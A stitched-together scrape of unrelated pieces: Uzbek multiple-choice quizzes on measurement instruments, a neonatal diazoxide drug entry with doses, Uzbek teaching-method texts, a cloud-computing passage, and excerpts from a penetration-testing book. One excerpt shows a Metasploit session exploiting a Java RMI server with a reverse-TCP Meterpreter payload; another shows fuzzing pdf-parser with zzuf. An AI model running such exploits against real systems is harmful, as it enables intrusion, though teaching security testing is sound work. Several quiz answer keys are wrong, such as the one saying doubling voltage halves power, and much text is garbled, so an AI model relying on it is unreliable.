nyuuzyou/kompy huggingface dataset:
Qaysi termometrlar monometrik termometrlar guruhiga kiradi

250
+ Monometrik termometrlar
-Kengayish termometrlar
-Termoelektr termometrlar
-Karshilik termometrlar
Elektr qarshilikning o‘zgarishiga asoslangan termometlar
:
+ Qarshilik termometlari
-Nurlanish termometlari
-Termoelektr termometlari
-Kengayish termometrlari
Monometrik termometrlar qaysi diapozondagi temperaturani o‘lchash uchun mo‘ljallangan:
- - 200 S dan + 600 S gacha
+ 0 S dan + 500 S gacha
- - 50 S dan + 1000 S gacha
-+ 10 S dan + 300 S gacha
-- 260 S dan + 1100 S gacha
Absolyut xatolik qanday o‘lchov birlikda o‘lchanadi:
-kilogram o‘lchov birligi
-protsent o‘lchov birligi
+aniqlanayotgan parametr qaysi o‘lchov birlikda o‘lchansa shu o‘lchov birlikda o‘lchanadi
-Volt o‘lchov birlikda
Nisbiy xatolik qaysi formula, yordamida aniqlanadi
:
- ΔA=Ao‘lch-Ahaq.
+ E=ΔA / Ao‘lch· 100%
- γ = ΔA / Ar·100%
- γ=Ar / ΔA·100%
O‘lchov vositalari o‘lchash jarayonidagi bajarayotgan vositasiga qarab qanday o‘lchov
Qaysi termometrlar monometrik termometrlar guruhiga kiradi

264
- Termoelektrik termometrlar.
- Metall o‘tkazgichli termometrlar, yarim o‘tkazgichli termometrlar.
Suyuqlikli termometrlar qaysi diapazondagi haroratni o‘lchash uchun mo‘ljallangan:
+ – 200
0
C dan + 600
0
C gacha
- 0
0
C dan + 500
0
C gacha
- +50
0
C dan + 1000
0
C gacha
- 0
0
C dan + 1000
0
C gacha
Suyuqlik
yoki qattiq jismlar hajmi yoki chiziqli o‘lchamlarning o‘zgarishiga asoslangan
termometrlar:
+ Monometrik
termometrlar
-Kengayish termometrlar
-Termoelektr termometrlar
-Karshilik termometrlar
Elektr qarshilikning o‘zgarishiga asoslangan termometlar
:
+ Qarshilik termometlari
-Nurlanish termometlari
-Termoelektr termometlari
-Kengayish
termometrlari
Monometrik termometrlar qaysi diapozondagi temperaturani o‘lchash uchun mo‘ljallangan:
- - 200 S dan + 600
S gacha
+ 0 S dan + 500 S gacha
- - 50 S dan + 1000 S gacha
-+ 10 S dan + 300 S gacha
-- 260 S dan + 1100 S gacha
Absolyut xatolik qanday o‘lchov birlikda o‘lchanadi:
-kilogram o‘lchov birligi
-protsent o‘lchov birligi
+aniqlanayotgan parametr qaysi o‘lchov birlikda o‘lchansa shu o‘lchov birlikda o‘lchanadi
-Volt o‘lchov
birlikda
Nisbiy xatolik qaysi formula, yordamida aniqlanadi
:
- ΔA=Ao‘lch-Ahaq.
+ E=ΔA / Ao‘lch· 100%
- γ = ΔA / Ar·100%
- γ=Ar / ΔA·100%
O‘lchov vositalari o‘lchash jarayonidagi bajarayotgan vositasiga qarab qanday o‘lchov
Diazoxide - Neonatal Intensive Care Drug Manual

|
Neonatal Intensive Care Drug Manual
|
bet | 160/654 | Sana | 03.01.2022 | Hajmi | 1,5 Mb. | | #14803 |
Diazoxide
Revision Date : 15-12-2020
|
Approved : TC, KOH
|
Alert
|
Concomitant use of a thiazide diuretic is recommended. Avoid higher dose where possible.
Proglycem 50mg/mL suspension contains alcohol 7.25%. Oral solution prepared by Pharmacy is preferred.
|
Indication
|
Treatment of transient or persistent neonatal hyperinsulinaemic hypoglycaemia.
|
Action
|
Opens potassium-ATP channels on pancreatic beta-cells to inhibit insulin secretion. Also occurs in cardiac and vascular smooth muscle leading to decrease in blood pressure and potential for cardiorespiratory deterioration.
|
Drug type
|
Antihypertensive, antidiuretic benzothiadiazine.
|
Trade name
|
Oral: Proglycem suspension, Proglicem capsules
|
Presentation
|
Oral: 10 mg/mL solution (prepared by Pharmacy using Proglicem 25mg or 100mg capsules); Proglycem 50 mg/mL oral suspension is commercially available as an unregistered product.
IV preparations are available but beyond the scope of this formulary. Discuss with specialist.
|
Dose
|
2–5 mg/kg/dose every 8 hours OR
2.5–7.5 mg/kg/dose every 12 hours.
|
|
|
| |
Bosim o’lchash asboblarini ko’rsatib bering

|
Bosim o’lchash asboblarini ko’rsatib bering Pdf ko'rish
|
bet | 196/286 | Sana | 16.05.2024 | Hajmi | 5,37 Mb. | | #236914 |
Bog'liq katta kitobBosim o’lchash asboblarini ko’rsatib bering:
- Ampermetr, voltmetr, ommetr
+ Manometr, barometr, vakuummetr
- Termometr, logometr
- potensiometr, konduktometr
Absolyut xatolikning kattalikning xaqiqiy qiymatiga nisbati bilan aniqlanadigan xatolik…
:
A) Absolyut xatolik deb ataladi
B) Nisbiy xatolik deb ataladi
C) Keltirilgan xatolik deb ataladi
D) Instrumental xatolik deb ataladi
E) Tasodifiy xatolik deb ataladi.
Vattmetrning ko’rsatishi Wn = 100 vt va o’lchanayotgan quvvatning xaqiqiy qiymati Wnx =
98 vt bo’lganda vattmetrning nisbiy xatoligini aniqlang:
1,5
-2,04%
-2,1%
+ 2,5%
-1,0
O’lchash chegarasi 50 tUga teng bo’lgan voltmetrning ko’rsatishi 40 tU va o’lchanayotgan
kuchlanishning xaqiqiy 38 tUga teng voltmetrning keltirilgan xatoligyni aniqlang.
+ 1,0%
- 2,0%
- 4,0%
- 6,0%
O’lchash asbobining o’lchash qiymati 60 Om, o’lchanayotgan qarshilikning qiymati 57 Om ga
teng. Ommetrning absolyut xatoligini aniqlang.
+ 2 om
- 4 om
- 5 om
- 6 om
Keltirilgan xatolik qaysi o‘lchov birlikda o‘lchanadi.
+ Aniqlanayotgan parametr qaysi o‘lchov birlikda o‘lchansa, shu o‘lchov birlikda o‘lchanadi.
- Protsent o‘lchov birligida.
- Santimetr o‘lchov birligida.
- Metr o‘lchov birligida.
- Kilogramm o‘lchov birligida.
Absolyut xatolik qaysi formula yordamida aniqlanadi.
+ ΔA = Ao‘l – Ahaq
- E = ΔA / Ao‘l *100%
- γ = A/AR*100%
- γ = AR/ΔA*100%
Fizik kattalik birliklarini qayta tiklash va ularni saqlash uchun xizmat qiladigan o‘lchov
asboblari...
- darajalangan o‘lchov asboblari deb ataladi.
- ishchi o‘lchov asboblari deb ataladi.
+ namunaviy o‘lchov asboblari deb ataladi.
- texnik o‘lchov asboblari deb ataladi.
|
| |
Modda miqdorini o’lchaydigan asboblar

|
Modda miqdorini o’lchaydigan asboblar Pdf ko'rish
|
bet | 195/286 | Sana | 16.05.2024 | Hajmi | 5,37 Mb. | | #236914 |
Bog'liq katta kitobModda miqdorini o’lchaydigan asboblar ....:
- Hisoblagichlar deb ataladi
+ Sarf o’lchagichlar deb ataladi
- Vazn o’lchagichlar deb ataladi
- Bosim o’lchagichlar deb ataladi
Absolyut xatolikni o‘lchov asbobining chegaraviy qiymatyga nisbati bilan aniqlanadigan
xatolik ... :
- absolyut xatolik deb ataladi.
+ nisbiy xatolik deb ataladi.
- keltirilgan xatolik deb ataladi
- Instrumental xatolik deb ataladi
O‘lchash chegarasi 25μA ga teng bo‘lgan ampermetrning ko‘rsatishi 20 A va o‘lchanaetgan
tok kuchining xaqiqiy qiymati 19 A ga teng. Ampermetrning keltirilgan xatoligini aniqlang:
+ 1,0%
- 2,0%
- 3,0%
- 4,0%
Nisbiy xatolik kanday ulchov birlikda ulchanadi:
- gramm ulchov birligida
- amper ulchov birligida
- gradus ulchov birligida
+ protsent ulchov birligida
SHarikli viskozsmetr bo‘yicha aniqlanishi mumkin bo‘lgan qovushqoqlikni chegarasini
aniqlab bering
:
- 0,001 dan 10 Pa * s gacha.
+ 0,1 dan 100 Pa * s gacha.
- 0,01 dan 1000 Pa * s gacha.
- 0,001 dan 0.1 Pa * s gacha.
Magnito elektrik mexanizmda o‘lchanayotgan tokning qiymati 0.1 A ,Magnit induksiyasi 1tl ,
ramka chulg‘amining o‘ramlari soni 30 ga, Ramkaning yuzasi 0.2 m
2
ga teng bulsa,
aylantiruvchi moment kiymatini aniklang
:
+ 0,2
- 0,4
- 0,6
- 1,0
Absolyut termodinamik temperatura bilan temperaturaning xalkaro shkala buyicha ifodasi
orasidagi munosabatni kursatib bering:
-
=
(1+dt)
+ T = t+273
0
C
-
=
(1+At+B
-
=
O’lchov asbobi nomi bilan uning shartli belgisi o’rtasidagi moslikni aniqlab bering:
Ulchov asbobining nomi
Ulchov asbobining shartli belgisi
A
V
S
D
E
Vattmetr
W
KW
MW
W
W
263
Golvonometr
G
A
mA
G
µA
Mikroampermetr
µA
A
mA
µA
A
|
| |
Ampermetr zanjirdagi tok kuchini o’lchashi uchun zanjirga qanday ulanadi

Ampermetr zanjirdagi tok kuchini o’lchashi uchun zanjirga qanday ulanadi: - Parallel
- Ketma-ket
- Aralash
+ Parallel va ketma-ket
Qarshiligi o’zgarmas bo’lgan zanjir uchlaridagi kuchlanish ikki marta oshganda ajralib chiqqan quvvat qanday o’zgaradi: - 2 marta oshadi
+ 2 marta kamayadi
- 4 marta oshadi
- 4 marta kamayadi
Kappilyar viskozimetri bo’yicha aniqlanishi mumkin bo’lgan qovushqoqlikning chegarasini aniqlab bering: - 0,001 dan 10 Pa* s gacha
- 0,1 dan 100 Pa* s gacha
+ 0,01 dan 1000 Pa*s gacha
- 0,001 dan 0,1 Pa*s gacha
Galvanometrning aniqlik klassi 1,0 ga teng. Galvanometrning to’g’ri ishlash chegarasidagi maksimal keltirilgan xatolik qiymatini aniqlang: + 2,5%
-
5,0 %
-
4,5%
-
1,5%
Magnito elektrik mexanizmda o’lchanayotgan shoxning qiymati 1A, magnit induktsiyasi 0,5 Tl, ramka cho’lg’amining o’ramlari soni 10 ga, ramkaning yuzasi 0,5 m2 ga teng bo’lsa, aylantiruvchi moment qiymatini aniqlang: + 10,5
- 2,5
- 12
- 8
Sharikli viskozimetr yordamida qovushoqlikni hisoblash formulasini aniqlab bering: -
+ η α
1
d
4
ΔP
- η
- η = K
Radioaktiv nurlarning suyuqlikdan o’tishda yutilishga asoslangan zichlik o’lchagich nomini aniqlang: - Qalqovichli zichlik o’lchagich
- Gidrostatik zichlik o’lchagich
+ Radioizotopli zichlik o’lchagich
- Vaznli zichlik o’lchagich
262
Atmosfera bosimini o’lchaydigan o’lchov asbobi .... : -Manometr deb ataladi
+Barometr deb ataladi
-Vakuummetr deb ataladi
-Monovakuummetr deb ataladi
Turli vazifali iplar sifat xususiyatlarini taqqoslash malakalari

|
Turli vazifali iplar sifat xususiyatlarini taqqoslash malakalari
|
bet | 82/95 | Sana | 29.11.2023 | Hajmi | 10,75 Mb. | | #107282 |
Bog'liq o\'quv qo\'llanmaTurli vazifali iplar sifat xususiyatlarini taqqoslash malakalari o’quvchilarda shakllantirilishi kerak. II sinf texnologiya darslarida o`quvchilar gazlama iplardan tashqari hayvondan olinuvchi tolalardan tayyorlangan iplarning, tabiiy ipak va junning sifat xususiyatlarini o’rganishlari lozim. Buning uchun oddiy ko’rinishga ega bo’lgan amaliy ishlardan foydalanish mumkin. O`quvchilarga bu iplar ip- gazlama iplar bilan nimasi bilan o`xshash va nimasi bilan farqlanishini aniqlashga oid topshiriq beriladi. Bu topshiriq natijasida bolalar o`zlariga ma‘lum bo`lgan ip turlarini tola tuzilishi xususiyatlari, qatlar soni, mustahkamligi, yumshoqligi, qalinligini, etiketkalarini taqqoslaydilar, keyingilaridan iplarning aniq amaliy ishlarni bajarish uchun yaroqliligini aniqlashda foydalanishga o`rganadilar.
Turli vazifali iplar sifat xususiyatlarini taqqoslash malakalarining o’quvchilarda shakllanganlik darajasini bilish uchun tirish ularga quyidagi savollar bearish mumkin: Nima uchun paypoqlarni oddiy ip- gazlama tikuvchilik iplari bilan yamash mumkin emas? (Ular ko`proq eshilib, yelimlangan, shuning uchun ko`proq qattiqroq. Ular bilan yamoqlangan paypoq joyi oyoqni qavartiradi. Yamoqlash ipi
yumshoq, g`ovak, elastik. Ularning mos rangini tanlash osonroq. Ular bilan yamoqlangan joy yaxshiroq ko`rinishga ega). Nima uchun tugmalarni yamoq qo`yish iplari yoki muline iplar bilan emas, tikuvchilik iplari bilan qadashadi? (Tikuvchilik iplari mustahkamroq). Nima uchun qo`lqoplar jun iplardan to`qiladi? (Ulardan to`qilgan qo`lqop va paypoqlar issiqroq). Qalinligi bir xil, lekin turli narsalardan olingan yoki turli vazifalardagi ikki ipning uzilishga mustahkamligini, masalan ip-gazlama va jun yoki kashtachilik va tikuvchilik iplarini, qanday oddiygina taqqoslash mumkin? (Bu ip bo`laklarini bog`lab, turli tomonga tortish mumkin. Mustahkamligi past ip uziladi).
Tabiiy ipak va tabiiy jundan tayyorlangan gazlama va iplar to`plamini tuzish va bezash ishlari ham muhim bo’lib o’qituvchi o’quvchilarga turli (shu jumladan ipak va jun) iplar va gazlamalarni farqlash va to`g`ri ayta olishga o`rgatishi kerak. Buning uchun o`qituvchi o’quvchilarga to`plamlarini nomlash va har bir namuna ostiga uning nomini yozishni topshiradi. O`quvchilarga iplar namunasi yoniga mos etiketkalarni yopishtirishni taklif etish foydali, bu etiketkalarni bolalar ip g`altaklari, o`ramlaridan ehtiyotkorona olishadi. O`quvchilariga uyda kattalar yordamida tabiiy jun va tabiiy ipak tolalardan tayyorlangan mato bo`laklarini topish vazifasini berish lozim.
|
| |
Identifying New Vulnerabilities | 145

run of the program into
zzuf
as a command-line parameter after we have told
zzuf
what to do. You’ll notice that we immediately start getting errors. In this case, we get a
stack trace, showing us details about the program. As it’s a Python script and the
source is available, this isn’t a big problem, but this is an error that the program isn’t
directly handling.
Example 4-11. Fuzzing pdf-parser with zzuf
root@rosebud:~# zzuf -s 0:10 -c -C
0
-T
3
pdf-parser -a fuzzing.pdf
Traceback
(
most recent call last
)
:
File
"/usr/bin/pdf-parser"
, line 1417, in
Main
()
File
"/usr/bin/pdf-parser"
, line 1274, in Main
object
=
oPDFParser.GetObject
()
File
"/usr/bin/pdf-parser"
, line 354, in GetObject
self.objectId
=
eval
(
self.token
[
1
])
File
""
, line 1
1
On the command line for
zzuf
, we are telling it to use seed values (
-s
) and to fuzz
input only on the command line. Any program that reads in configuration files for its
operation wouldn’t have those configuration files altered in the course of running.
We’re looking to alter only the input from the file we are specifying. Specifying
-C 0
tells
zzuf
not to stop after the first crash. Finally,
-T 3
says we should timeout after 3
seconds so as not to get the testing hung up.
Using a tool like this can provide a lot of potential for identifying bugs in applications
that read and process files. As a general-purpose program,
zzuf
has potential even
beyond the limited capacities shown here. Beyond file fuzzing, it can be used for net‐
work fuzzing. If you are interested in locating vulnerabilities, a little time using
zzuf
could be well spent.
Summary
Vulnerabilities are the potentially open doors that attacks can come through by using
exploits. Identifying vulnerabilities is an important task for someone doing security
testing, since remediating vulnerabilities is an important element in an organization’s
security program. Here are some ideas to take away:
• A vulnerability is a weakness in a piece of software or a system. A vulnerability is
a bug, but a bug may not be a vulnerability.
• An exploit is a means of taking advantage of a vulnerability to obtain something
the attacker shouldn’t have access to.
• OpenVAS is an open source vulnerability scanner that can be used to scan for
both remote vulnerabilities and local vulnerabilities.
Nutqiy kompetensiyalar to`g`ri berilgan qatorni toping

|
Nutqiy kompetensiyalar to`g`ri berilgan qatorni toping
|
bet | 173/372 | Sana | 16.12.2023 | Hajmi | 1,97 Mb. | | #120479 |
Bog'liq Barcha fanlardan Testlar to‘plami (1)14. Nutqiy kompetensiyalar to`g`ri berilgan qatorni toping.
*a) tinglab tushunish, so`zlash, o`qish, yozish b) so`zlash, gapirish, tasvirlash
c) tinglab tushunish, gapirish, tasvirlash d) o`qish, yozish, tasvirlash
15. Lingvistik kompetensiyalar to`g`ri berilgan qatorni toping.
*a) nutqda so`zlarning grammatik shakllardan to`g`ri foydalanish b) orfoepik shakllardan to`g`ri foydalanish
c) morfologik shakllardan to`g`ri foydalanish d) orfoepik va morfologik shakllardan to`g`ri foydalanish
16.Uyushiq bo`lakli sodda gap berilgan qatorni aniqlang.
*a) Gap tashuvchilarni, tirnoqdan kir izlovchilarni, chaqimchilarni men yomon ko`raman.
b) Ilmli ming yashar, ilmsiz bir yashar. s) Bahor keldi, gul ochildi, chaman bo`ldi yurtimiz.
d) Soy guvillab oqar va uning muzdek shamoli qirg`oqda tartibsiz o`sgan o`tlarni silkitar edi.
17. Bosh bo`laklar uyushib kelgan gapni toping.
*a) O`rmonlar, bog`lar uni quvontirdi, to`lqinlantirdi. b) Quyosh, havo — tanga davo.
s) Saida kitob bilan, she`r bilan dardlashardi. d) Havo salqin, toza
18. “Umumiy o`rta ta`lim va o`rta maxsus, kasb-hunar ta`limining davlat ta`lim standartlarini tasdiqlash to`g`risida”gi qarori qachon tasdiqlangan?
*a) 6 aprel 187-sonli qaror bilan b) 16 aprel 187-sonli qaror bilan 6 aprel
c) 186-sonli qaror bilan d) 6 aprel 1807-sonli qaror bilan
19. 4-sinf ona tili fani o`quv dasturida necha soatdan iborat?
*a) 170 soatdan b) 156 soatdan c) 168 soatdan d) 160 soatdan
20. Tayanch kompetentsiyalar berilgan qatorni ko`rsating.
*a) Kommunikativ, axborot bilan ishlash, ijtimoiy faol fuqarolik b) Adabiy-nutqiy, axborot bilan ishlash, ijtimoiy faol fuqarolik c) Adabiy-nutqiy, lingvistik, badiiy asarni tahlil qilish
d) Axborot bilan ishlash, milliy va umummadaniy
21. 2-sinfda ona tili fani chuqurlashtirilib o`tiladigan sinflarda necha soatni tashkil etadi?
*a) 204 soatni b) 104 soatni c) 238 soatni d) 244 soatni
|
| |
topshiriq - O`zbekiston respublikasi oliy va o`rta maxsus ta’lim vazirligi

|
O`zbekiston respublikasi oliy va o`rta maxsus ta’lim vazirligi
|
bet | 33/95 | Sana | 29.11.2023 | Hajmi | 10,75 Mb. | | #107282 |
Bog'liq o\'quv qo\'llanmatopshiriq: Loydan siyohdon yasashdan iborat, bu topshiriq, asosan, o‘g‘il bolalarga mo‘ljallangan. Rasmdagilar oddiy loydan yasalgan siyohdon va qalamdonlardir. Bularni yasash uchun toza sariq tuproqdan loy qiling. Uni qo‘lga yopishmaydigan bo‘lguncha ezib- iylab pishiting, keyin uni bir parcha taxtacha ustiga qo‘yib, istagan narsangizni yasayverasiz.
To‘rtta yog‘och olib, ularning uchini (rasm-4 a) ingichkalashtiring. Ular sizga loyning ortiqcha erlarini qirib tashlash, shakl yasash uchun kerak bo‘ladi.
Biz quyida “Xo‘roz siyohdon” yasash tartibini bayon qilamiz. Pishitilgan loydan xo‘roz shaklini yasaysiz-da, barmog‘ingizni ho‘llab, uning ustlarini silliqlaysiz. Keyin mashina ip bilan uning boshini (qopqog‘ini) kesib tushirasiz. (Qopqoqni alohida tayyorlash ham mumkin). Qopqoq olib qo‘yilgach, xo‘rozning pastki qismini yog‘och pichoqcha bilan kovlab (rasm-4, b) chuqurcha hosil qilinadi. Uning ichiga yog‘ yoki doridan bo‘shagan og‘zi katta shisha yoki chinni bankachani solib qo‘yasiz. Chuqurcha bankachadan kengroq bo‘lishi kerak, chunki loy quriganda kichrayadi, tortishib yorilib ketadi.
Yasagan narsangizni albatta soyada quriting.
Agar shakl yorilsa, suyuq loy bilan suvab qo‘yiig. Qurigandan keyin akvarel bo‘yoq bilan chiroyli qilib bo‘yang. Boshqa shakllarda ham siyohdon yasab ko‘ring.
Bunday ish to‘rini bajarish natijasida o‘quvchilarda loyihalash, chamalash, taxmin qilish, faraz qilish ko‘nikmalari shakllanadi.
topshiriq: “Temirchi ayiqlar” deb nomlangan bo‘lib, uni yasash bilan ham, asosan, o‘g‘il bolalar shug‘ullanishlari kerak. Temirchi ayiqlar juda qadimiy xalq o‘yinchoqlaridandir. Bu o‘yinchoqni yasash uchun bir parcha faner, uchi ikki tomonga buqiladigan to‘rtta mix va qo‘larra kerak bo‘ladi.
Qog‘ozga ayiq rasmining konturini chizib, bu shaklni 3-4 marta fanerga ko‘chiring. Keyin ayiq tanasining yuqori yarim shaklini yana ikki marta chizing (rasm-5, a). Fanerdan ikkita chizg‘ich (taxtacha) kesing. Ularning uzunligi 20 sm, eni 1,5 sm bo‘lsin. Keyin bu taxtachalarni ikki eridan parma yoki qizdirilgan sim bilan teshing. Ikkita butun tanasi o‘rtasiga bitta yarimtalik tanani qo‘yib elimlang (rasm, v). Endi uchi ayri mix bilan ayiqlarni faner taxtachalarga “g” rasmda ko‘rsatilganidek o‘rnating. Ularni yaxshilab bo‘yang. Ikkala faner chizg‘ich galma-gal old va orqaga tortilsa, ayiqchalar navbatma- navbat bolg‘alay boshlaydilar.
Bu turdagi topshiriqlar o‘quvchilarda konstruktorlik, loyihachilik ko‘nikmalarini shakllantirishga xizmat qiladi.
|
| |
Dаstur xizmаt sifаtidа (SааS)

452
Dаsturiy tа’minotni ishlаb сhiquvсhilаr nuqtаi nаzаridаn,
SааS modeli
mijozgа dаsturiy tа’minotni sаqlаsh, nusxаlаsh vа o‘rnаtish imkoniyаtigа egа
emаsligi sаbаbli dаsturiy tа’minotdаn litsenziyаsiz foydаlаnish bilаn sаmаrаli
kurаshishgа imkon berаdi.Аslidа, SааS dаsturiy tа’minoti
iсhki аxborot tizimlаrigа
yаnаdа qulаy vа tejаmkor аlternаtivа sifаtidа qаrаlishi mumkin. SааS mаntig’ini
rivojlаntirish - bu tushunсhа
Vааs (
Ish joyi xizmаt sifаtidа - xizmаt sifаtidа ish joyi).
Yа’ni, mijoz o‘z ixtiyoridа bаrсhа kerаkli dаsturiy tа’minot bilаn to‘liq jihozlаngаn
virtuаl ish stаntsiyаsini olаdi.
Mа’lumotni sаqlаsh vа zаhirаlаsh
Bulut xizmаtlаrining hаr uсh turi bir-biri bilаn bog’lаngаn vа birlаshtirilgаn
tuzilmаni аnglаtаdi. Xizmаtlаrni tаqdim etishning turli usullаrigа qo‘shimсhа
rаvishdа, bulutli tizimlаrni joylаshtirishning bir neсhtа vаriаntlаri mаvjud:
Xususiy bulut - Mijoz vа xizmаt ko‘rsаtuvсhi рrovаyder bo‘lgаn bittа komраniyа
iсhidа xizmаtlаrni ko‘rsаtish uсhun foydаlаnilаdi. Bu komраniyа tаshkilot iсhidа
o‘zi uсhun yаrаtgаndа "bulutli kontseрtsiyа" ni аmаlgа oshirish uсhun imkoniyаt.
Birinсhi
аmаlgа oshirish xususiy bulut mijozlаr ushbu kontseрtsiyа bilаn
tаnishishdа duсh kelаdigаn muhim mаsаlаlаrdаn birini-аxborot xаvfsizligi nuqtаi
nаzаridаn mа’lumotlаrni himoyа qilishni bekor qilаdi. Bulut komраniyаning o‘zi
tomonidаn
сheklаngаnligi sаbаbli, bu muаmmo stаndаrt mаvjud usullаr bilаn hаl
qilinаdi. Uсhun
xususiy bulut Ishlаmаyotgаn yoki sаmаrаsiz ishlаtilgаn resurslаrdаn
foydаlаnish sаbаbli аsbob-uskunаlаr nаrxining раsаyishi hаrаkterlidir.
Shuningdek,
logistikа vositаlаrini qisqаrtirish orqаli uskunа sotib olish nаrxini раsаytirish (qаysi
serverlаrni, qаndаy konfigurаtsiyаdа, qаndаy ishlаb сhiqаrish hаjmini,
hаr sаfаr
qаnсhа joy аjrаtish kerаkligini vа hokаzolаrni o‘ylаmаymiz). Аslidа, kuсh hаr bir
раydo bo‘lаyotgаn vаzifаgа emаs, bаlki, o‘rtасhа аytgаndа,
ortib borаyotgаn yuk
bilаn mutаnosib rаvishdа ortib bormoqdа. Vа rejаlаshtirish, sotib olish vа аmаlgа
oshirish - ishlаb сhiqаrishdа yаngi vаzifаlаrni boshlаsh osonlаshаdi.
Umumiy
Boshlang`ich ta`lim ona tili faniga oid shakllangan nutqiy kompetentsiya elementlariga nimalar kiradi?

|
Boshlang`ich ta`lim ona tili faniga oid shakllangan nutqiy kompetentsiya elementlariga nimalar kiradi?
|
bet | 182/372 | Sana | 16.12.2023 | Hajmi | 1,97 Mb. | | #120479 |
Bog'liq Barcha fanlardan Testlar to‘plami (1)85. Boshlang`ich ta`lim ona tili faniga oid shakllangan nutqiy kompetentsiya elementlariga nimalar kiradi?
*a) Tinglab tushunish, so`zlash, o`qish, yozish
b) O`zbek tilida nutq tovushlarini to`g`ri qo`llay olish, bo`g`im ko`chirish, mavzuga oid so`zlarni og`zaki nutqda qo`llay olish
c) Gap ohangiga rioya qilgan holda ravon o`qiy olish d) Alifbodagi bosh va kichik harflarni yoza olish
86.Imlo malakalarini mustahkamlash uchun qaysi tahlilni samarali deb bilasiz?
*a) Fonetik tahlilni; b) Morfologik tahlilni; c) Sintaktik tahlilni; d) Fonetik-morfologik tahlilni;
87.Bog`lanishli nutq malakalarini shakllantirishda diktantning qaysi turidan foydalaniladi?
*a) Erkin va ijodiy diktantdan; b) Erkin va saylanma diktantdan; c) Ijodiy diktantdan; d) Izohli va erkin diktantdan;
88. Boshlang`ich sinflarda diktantlarning maqsadiga ko`ra necha xil turi bo`ladi?
*a) 2 xil; b) 14 xil; c) 8 xil; d) 9 xil;
89. Yozma ishlarda ko`chish, tutuq belgisi hamda chiziqcha qo`yilmasa, qanday xato hisoblanadi?
*a) ishorali b) grafik c) uslubiy d) xato hisoblanmaydi
90.“Insho”so`zi qaysi tildan kirib kelgan va uning ma`nosi nimani anglatadi?.
*a) “Insho” asli arabcha so`z bo`lib, ma`nosi “yaratish”, “bino qilish”, “boshlash” demakdir;
b)“Insho” asli ozbekcha so`z bo`lib, ma`nosi “insho demakdir;
c) “Insho”forscha so`z bo`lib, ma`nosi “davom ettirish”, “hikoyalash” demakdir;
d)“Insho” asli tojikcha so`z bo`lib, ma`nosi “to`qib yozish”, “qo`shish” demakdir;
91. 4-sinfda “Ona tili” fani bo`yicha qanday so`z turkumlari o`rganiladi?
*a) Ot, sifat son, kishilik olmoshlari, fe`l b) Ot, sifat, son, fe`l, xol
c) Ot, sifat, son, ravish, kishilik olmoshlari d) Ot, sifat, son, ravish, xol, fe`l
|
| |
Mashg’ulot uchun zaruriy uslubiy tavsiyalar va o’quv didaktik

|
Mashg’ulot uchun zaruriy uslubiy tavsiyalar va o’quv didaktik Pdf ko'rish
|
bet | 106/180 | Sana | 14.05.2024 | Hajmi | 1,78 Mb. | | #231480 |
Bog'liq O‘zbekiston respublikasi oliy va o‘rta maxsus ta’lim vazirligiMashg’ulot uchun zaruriy uslubiy tavsiyalar va o’quv didaktik
tarqatma materiallar
1. Psixologiya so’zini eshitganingizda fikringizga qanday so’zlar iboralar
keladi. Bunda biz aqliy xujum usulini qo’llaymiz.
Aqliy xujum - g’oyalarni
generasiya (ishlab chiqish) qilish metodidir. «Aqliy xujum» metodi biror
muammoni yechishda talabalar tomonidan bildirilgan erkin fikr va
mulohazalarni to’plab, ular orqali ma’lum bir yechimga kelinadigan eng
samarali metoddir. Aqliy xujum metodining yozma va og’zaki shakllari mavjud.
“Aqliy xujum” ishtirokchilari oldiga qo’yilgan muammo bo’yicha har qanday
muloxaza va takliflarni bildirishlari mumkin. Aytilgan fikrlar yozib boriladi va
ularning mualliflari o’z fikrlarini qaytadan xotirasida tiklash imkoniyatiga ega
bo’ladi. Metod samarasi fikrlar xilma-xilligi bilan tavsiflandi va xujum
davomida ular tanqid qilinmaydi, qaytadan ifodalanmaydi. Aqliy xujum
tugagach, muhimlik jixatiga ko’ra eng yaxshi takliflar generasiyalanadi va
muammoni yechish uchun zarurlari tanlanadi.
2. Psixologiyaning predmeti, inson hayoti va faoliyatidagi ahamiyati
haqidagi fikrlar munozarasini «3x4» pedagogik texnologiya asosida tashkil
etish uchun guruh 4ta kichik guruhlarga bo’linadi. Har bir gurux uchun bir
varaq qog’oz olinib, unga psixologiyaning predmeti, inson hayoti va
faoliyatidagi ahamiyati haqidagi 3 tadan guruh fikrini yozishini hamda, bu
fikrlar yozilgan qog’ozni (soat strelkasi yo’nalishi bo’yicha) keyingi guruhlarga
o’zatish taklif etiladi. Keyingi guruh esa yana bu haqda uchta fikr bilan
to’ldirishi va keyingi guruhga o’zatishi lozim. Shu tarzda davom etib, har bir
qog’ozda 12 tadan fikrlar mujassam bo’lgach, guruxlar bu fikrlarni tahlil etib,
guruxning bir umumlashtirilgan fikrini bildirishlari talab etiladi.
3. Klaster (tarmoqlash) pedagogik texnologiyasi asosida psixologiyaning
tarmoqlari sanab o’tiladi. Bu pedagogik texnologiyada talabalarga bir varaq
qog’oz olib uning o’rtasiga psixologiyaning tarmoqlari deb yozish va uning
atrofiga tarmoqlarning nomlarini, so’ngra psixologiya tarmoqlarining kichik
tarmoqchalarini yozish taklif etiladi. Ushbu pedagogik texnologiya o’tilgan
mavzuni mustahkamlash, yaxshi o’zlashtirish va mavzu bo’yicha
tassavvurlarini chizma shaklida ifodalashga undaydi.
4. Psixologiyaning amaliy o’rganish metodlari. Kichik guruhlarda
ishlash uchun guruh 5 ta kichik guruhga bo’linada va ularga quyidagi tarqatma
materiallar berilib, ushbu masalalar bo’yicha taqdimotlar tayyorlash topshiriladi.
|
| |
| Chapter 5: Automated Exploits

What you end up with after the exploit has occurred is based on the payload, and that
can be set after you have selected which exploit you want to run. As an example of
running an exploit while
changing the payload in use, you can look at
Example 5-18
.
This exploit targets the Java Remote Method Invocation (RMI) server, which is used
to provide
interprocess communication, including across systems over a network.
Because we are exploiting a Java process, we’re going to use the Java implementation
of the Meterpreter payload.
Example 5-18. Using the Meterpreter payload
msf > use exploit/multi/misc/java_rmi_server
msf
exploit
(
multi/misc/java_rmi_server
)
>
set
payload java/meterpreter/reverse_tcp
payload
=
> java/meterpreter/reverse_tcp
msf exploit
(
multi/misc/java_rmi_server
)
>
set
RHOST 192.168.86.147
RHOST
=
> 192.168.86.147
msf exploit
(
multi/misc/java_rmi_server
)
>
set
LHOST 192.168.86.21
LHOST
=
> 192.168.86.21
msf exploit
(
multi/misc/java_rmi_server
)
> exploit
[
*
]
Exploit running as background job 0.
[
*
]
Started reverse TCP handler on 192.168.86.21:4444
msf exploit
(
multi/misc/java_rmi_server
)
>
[
*
]
192.168.86.147:1099 - Using URL:
http://0.0.0.0:8080/6XjLLZsheJ9
[
*
]
